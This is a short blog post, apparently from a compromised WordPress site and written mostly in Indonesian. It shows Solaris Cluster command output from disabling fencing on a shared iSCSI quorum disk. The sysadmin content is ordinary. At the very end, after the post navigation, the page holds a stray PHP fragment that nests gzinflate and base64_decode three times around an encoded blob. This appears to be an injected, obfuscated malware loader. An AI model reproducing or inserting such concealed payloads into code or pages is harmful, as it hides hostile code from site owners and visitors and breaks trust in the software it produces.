Delicious

Archives

Categories

Disable fencing device shared-storage

  ozzie / 23/06/2013


berhubung pakai iSCSI untuk share-storage ke semua buaya ;))

# echo | format
Searching for disks...done
 
AVAILABLE DISK SELECTIONS:
       0. c1t0d0 <HITACHI-H103014SCSUN146G-A160-136.73GB>
          /pci@0/pci@0/pci@2/scsi@0/sd@0,0
       1. c2t2d0 <iSCSIDisk-0123 cyl 6524 alt 2 hd 255 sec 63>
          /iscsi/disk@0000iqn.2011-03.org.kebonbinatang.storage2%3Adisk20001,0
       2. c2t3d0 <iSCSIDisk-0123 cyl 6524 alt 2 hd 255 sec 63>
          /iscsi/disk@0000iqn.2011-03.org.kebonbinatang.storage2%3Adisk20001,1
Specify disk (enter its number): Specify disk (enter its number):

# clq show
 
=== Cluster Nodes ===                          
 
Node Name:                                      Buaya1
  Node ID:                                         1
  Quorum Vote Count:                               1
  Reservation Key:                                 0x51C625D900000001
 
Node Name:                                      Buaya2
  Node ID:                                         2
  Quorum Vote Count:                               1
  Reservation Key:                                 0x51C625D900000002
 
 
=== Quorum Devices ===                         
 
Quorum Device Name:                             d2
  Enabled:                                         yes
  Votes:                                           1
  Global Name:                                     /dev/did/rdsk/d2s2
  Type:                                            shared_disk
  Access Mode:                                     scsi2
  Hosts (enabled):                                 Buaya1, Buaya2

cldevice show       
 
=== DID Device Instances ===                   
 
DID Device Name:                                /dev/did/rdsk/d1
  Full Device Path:                                Buaya2:/dev/rdsk/c2t3d0
  Full Device Path:                                Buaya1:/dev/rdsk/c2t3d0
  Replication:                                     none
  default_fencing:                                 global
 
DID Device Name:                                /dev/did/rdsk/d2
  Full Device Path:                                Buaya1:/dev/rdsk/c2t2d0
  Full Device Path:                                Buaya2:/dev/rdsk/c2t2d0
  Replication:                                     none
  default_fencing:                                 global
 
DID Device Name:                                /dev/did/rdsk/d3
  Full Device Path:                                Buaya1:/dev/rdsk/c1t0d0
  Replication:                                     none
  default_fencing:                                 global
 
DID Device Name:                                /dev/did/rdsk/d4
  Full Device Path:                                Buaya2:/dev/rdsk/c1t0d0
  Replication:                                     none
  default_fencing:                                 global



disable device d2 yg shared tadi

# cldevice set  -p default_fencing=nofencing-noscrub d2
#
# cldevice show       
 
=== DID Device Instances ===                   
.....
.....
DID Device Name:                                /dev/did/rdsk/d2
  Full Device Path:                                Buaya1:/dev/rdsk/c2t2d0
  Full Device Path:                                Buaya2:/dev/rdsk/c2t2d0
  Replication:                                     none
  default_fencing:                                 nofencing
 
.....
.....

« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>